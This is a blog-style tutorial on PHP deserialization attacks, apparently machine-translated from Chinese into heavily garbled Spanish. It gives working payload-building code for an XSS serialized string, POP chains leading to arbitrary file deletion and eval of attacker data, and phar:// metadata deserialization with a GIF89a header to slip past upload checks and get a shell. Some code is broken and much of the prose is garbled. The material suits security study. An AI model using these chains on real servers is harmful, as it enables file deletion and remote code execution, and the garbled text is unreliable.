Aprender y configuradas deserializar cadena pop

0x00 Prólogo

Sierra manual de dos días de desarrollo tp, había querido ir directamente a tp juicio, piense cuidadosamente, el conocimiento deserialización rápidamente olvidado. . Nueva revisión al respecto

Por primera vez enlaces:

https://www.freebuf.com/column/154530.html

https://www.cnblogs.com/iamstudy/articles/php_object_injection_pop_chain.html.

0x01 deserialización más fácil

<?php
class A{
    var $test = "demo";
    function __destruct(){
            echo $this->test;
    }
}
$a = $_GET['test'];
$a_unser = unserialize($a);
?>

estructura

test=O:1:"A":1:{s:4:"test";s:28:"<img src=1 onerror=alert(1)>";}

Puede XSS. Por supuesto, también se puede combinar con la causa ambiental más daño real.

cadena sencilla POP deserialización

1.<?php

2.class Example3

3.{

4.    protected $obj;

5.

6.    function __construct()

7.    {

8.        $this->obj = new Example5;

9.    }

10.

11.    function __toString()

12.    {

13.        if (isset($this->obj)) return $this->obj->Delete();

14.    }

15.}

16.

17.class Example4

18.{   public $cache_file;

19.    function Delete()

20.    {   $file = “/var/www/html/cache/tmp/{$this->cache_file}”;

21.        if (file_exists($file))

22.        {

23.            @unlink($file);

24.        }

25.

26.        return ‘I am a evil Delete function’;

27.    }

28.}

29.

30.class Example5

31.{

32.    function Delete()

33.    {

34.        return ‘I am a safe Delete function’;

35.    }

36.}

37.

38.$user_data = unserialize($_GET['data']);

39.echo $user_data;

40.?>

Y separar el ejemplo de abajo hay similitudes a la cadena POP (se pueden clasificar como clase), entonces el análisis siguiente, nos fijamos en este código es:

Example3, Example4, Example5 es necesaria en el proceso de seguimiento de la transferencia de datos entre las clases, en donde la magia método __toString example3 invoca el método delete () y el código unserialize ($ _ GET [ 'datos']); y el eco $ la user_data; función de deserialización se encuentran y un método mágico controlable de condiciones de activación, entonces usted necesita para seguir el método mágico proceso __toString transferencia de datos.

Seguimiento mirando método Delete (), descubierto en Example5 es un trato hecho con el método de seguridad de eliminación (), en Example4 existe también un método de eliminación (), pero hay un problema de seguridad con este método;

Con una protected $ obj $ this-> obj = new Example5; saber la clase está protegido entrante (datos necesitan ser codificado en la serialización o un asterisco * delante, más del 00%) se puede deserializar por del $ obj a Example4, entonces se usará los problemas de seguridad de eliminación en el Ejemplo 4 () método, dando lugar a vulnerabilidades eliminar archivos arbitrarios.

Construido con carga útil de código, borrado de archivos / var / www / html thinking3 bajo.

1.<?php

2.class Example3

3.{

4.    protected $obj;

5.

6.    function __construct()

7.    {

8.        $this->obj = new Example4;

9.    }

10.

11.}

12.

13.class Example4

14.{   public $cache_file = ‘../../thinking3′;

15.

16.}

17.

18.$evil = new Example3();

19.echo urlencode(serialize($evil));

20.?>

CADENA DE POP

CADENA DE POP : El método mágico como un widget de inicio, a continuación, llamar a otras funciones (widgets) en el método mágico, buscando el mismo nombre de función y escriba en funciones sensibles y atributos asociados con esa cadena POP. A esta clase pertenecen todas las propiedades sensibles son controlables. Cuando unserialize () los parámetros pasados de forma controlada, se puede controlar la cadena POP lograr el efecto de utilizar una vulnerabilidad específica a través de la vulnerabilidad deserialización.
punto popular es: deserializar, si el código clave no es método mágico, pero en general el método de una clase. Este tiempo puede ser vinculado mediante la búsqueda de los mismos atributos y funciones sensibles atributo cuyo nombre de la clase.

<?php
class lemon {
    protected $ClassObj;

    function __construct() {
        $this->ClassObj = new normal();
    }

    function __destruct() {
        $this->ClassObj->action();
    }
}

class normal {
    function action() {
        echo "hello";
    }
}

class evil {
    private $data;
    function action() {
        eval($this->data);
    }
}

unserialize($_GET['d']);

En primer lugar encontramos el método mágico __destruct (), esta clase de limón podría haber sido invocada, clase normal, pero ahora método de acción en la clase y no había mal, por lo que la cadena se puede construir pop, llamar a la clase método mal acción.

<?php
class lemon {
    protected $ClassObj;
    function __construct() {
        $this->ClassObj = new evil();
    }
}
class evil {
    private $data = "phpinfo();";
}
echo urlencode(serialize(new lemon()));
echo "\n\r";

Tenga en cuenta que, protegida ClassObj $ = nuevo mal (); no funciona, o por medio de __construct instanciado.

Continúa deserialización encima de ejemplo simple de una cadena POP,

__construct () método mágico
crea la instancia de una clase Example5, clase tiene de eliminación ()
Esta clase es método seguro Example5 no se pueden utilizar. Pero era una clase Example4, y el método de eliminación (), entonces la función del mismo nombre de esta condición se encuentra, entonces ese es el tipo de funciones sensibles (métodos) y atributos asociados.
Por ejemplo, esto se utiliza, $ ública cache_file podemos controlar esta propiedad. Por último, eliminar archivos arbitrarios

phar: //

转自Seebug: https://paper.seebug.org/680/#22-demo

resumen

Cadena es por lo general cuando se utiliza la vulnerabilidad deserialización sólo puede ser serializado unserialize entrante (), con el código de seguridad es cada vez más y más alto, su uso se ha vuelto cada vez más difícil. Pero en la reciente Sombrero Negro, un investigador de seguridad Sam Thomas compartió temas Es una vulnerabilidad en PHP unserialization Jim, pero no como lo conocemos usan este archivo de metadatos función Phar se almacenará en forma de una secuencia de definida por el usuario, se expande la vulnerabilidad php deserialización superficie de ataque.

En el caso en que las funciones del sistema de archivo de proceso (file_exists (), is_dir (), etc.) parámetros controlables, con phar: // pseudo-protocolo, no pueden confiar en que unserialize () directamente deserialización.

principio

estructura de archivos Phar

Antes de pasar a métodos de ataque tenemos que mirar la estructura de archivos Phar, haciendo referencia a los espectáculos manuales un archivo Phar consta de cuatro partes:

un talón

Puede ser entendida como una señal en el formato xxx , el frente no se limita, sino que debe __halt_compiler ();?> Para el final, de lo contrario la extensión Phar no reconocerá el archivo como un archivo Phar.

un manifiesto que describe el contenido

En esencia, el archivo Phar es un archivo comprimido, en donde cada uno los permisos de archivos comprimidos, la información de atributos y similares en esta parte. Esta pieza también los meta-datos almacenados en la forma de una secuencia de definida por el usuario, que es la mayoría de los lugares centrales anteriores métodos de ataque.

el contenido del archivo

El contenido de los archivos comprimidos.

[Opcional] una firma para verificar la integridad de Phar (formato de archivo Phar solamente)

Firma, en el final del archivo, el formato es el siguiente:

Prueba de demostración

De acuerdo con la estructura de archivos de nuestra propia para construir un archivo Phar, php construido una clase Phar para manejar las operaciones relacionadas. Nota: configuración de las opciones que desee en phar.readonly php.ini en Off, de lo contrario no se puede generar el archivo Phar.

Fr_genkfp

<?php
    class TestObject {
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

Podemos ver claramente la meta-datos se almacenan en forma de una secuencia de:

Debe haber una secuencia de deserialización de datos, php de un gran funciones del sistema de archivos por phar: // el análisis pseudo-protocolo de archivo phar, los meta-datos se deserializan, después de la prueba como una función de la afectada :

A través de una pequeña demo para probarlo
phar_test1.php

<?php 
    class TestObject {
        public function __destruct() {
            echo 'Destruct called';
        }
    }

    $filename = 'phar://phar.phar/test.txt';
    file_get_contents($filename); 
?>

Por supuesto, otras funciones son posibles, cuando las funciones del sistema de archivos parámetro controlable, se puede deserializar operación sin llamar unserialize (), una serie de antes parecía "inofensivos para los humanos y los animales" se ha convertido en la función "oculta asesinato", que se expandió en gran medida la superficie de ataque.

El Phar falsificado documentos en otros formatos

Delante puede notar que el análisis de la estructura de archivos Phar, el reconocimiento php archivo de código auxiliar Phar por su cabecera del archivo, para ser más precisos, es __halt_compiler ();?> Este código, por el contenido o archivos anteriores extensiones no hay requisitos. Entonces podemos añadir ninguna modificación en los archivos de extensión de encabezamiento + disfrazará archivos phar en otros formatos.

<?php
    class TestObject {
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
    $o = new TestObject();
    $phar->setMetadata($o); //将自定义meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

El sufijo a prueba gif

<?php 
    class TestObject {
        public function __destruct() {
            echo 'Destruct called';
        }
    }

    $filename = 'phar://phar.gif/test.txt';
    file_get_contents($filename); 
?>

Este enfoque puede eludir una gran parte de la carga de detección.

Condiciones de uso

Phar archivo que desea cargar en el servidor.
Los file_exists (), fopen (), file_get_contents (función), archivo () de las operaciones de archivo como para tener disponible mágica "trampolín." Un método
funciones del archivo de parámetros controlables manipulación, y Phar: / y otros caracteres especiales no se filtran.

verificación de la vulnerabilidad

upload_file.php posterior detección de bordes de carga de archivo, tipo de archivo es un gif, ya sea como una extensión de archivo gif

<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
    echo "Upload: " . $_FILES["file"]["name"];
    echo "Type: " . $_FILES["file"]["type"];
    echo "Temp file: " . $_FILES["file"]["tmp_name"];

    if (file_exists("upload_file/" . $_FILES["file"]["name"]))
      {
      echo $_FILES["file"]["name"] . " already exists. ";
      }
    else
      {
      move_uploaded_file($_FILES["file"]["tmp_name"],
      "upload_file/" .$_FILES["file"]["name"]);
      echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
      }
    }
else
  {
  echo "Invalid file,you can only upload gif";
  

}

upload_file.html

<body>
<form action="http://localhost/upload_file.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file" />
    <input type="submit" name="Upload" />
</form>
</body>

file_exists file_un.php presentes (), y hay __destruct ()

<?php
$filename=$_GET['filename'];
class AnyClass{
    var $output = 'echo "ok";';
    function __destruct()
    {
        eval($this -> output);
    }
}
file_exists($filename);

De acuerdo con file_un.php generada Phar escribir un archivo PHP, además de la cabecera del archivo GIF 89a de derivación, y después se visita el archivo PHP, phar.phar generado, modificamos sufijo para gif, cargado en el servidor, y luego usar file_exists, el uso phar: // ejecución de código

eval.php construcción

<?php
class AnyClass{
    var $output = ;
    function __destruct()
    {
        eval($this -> output);
    }
}
$phar = new Phar('phar.phar');
//开始生成phar文件
$phar -> startBuffering();
//设置phar文件标志
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
//自定义的meta-data文件
$object = new AnyClass();
$object -> output= 'phpinfo();';
$phar -> setMetadata($object);//将自定义的meta-data文件存入phar文件
//在停止写入phar文件,自动生成签名
$phar -> stopBuffering();

Acceso eval.php generación phar.phar, el sufijo a gif

Y luego se suben a la file_un.php catálogo bajo el mismo directorio, utilice las funciones peligrosas getshell file_un.php la
carga útil:
file_un.php archivo = Phar :? //Phar.gif

referencia

https://www.smi1e.top/php deserialización ataques expanden /

https://www.freebuf.com/column/154530.html

https://www.cnblogs.com/iamstudy/articles/php_object_injection_pop_chain.html

https://paper.seebug.org/680/#22-demo

Supongo que te gusta

Origin www.cnblogs.com/wangtanzhi/p/12637819.html
Recomendado
Clasificación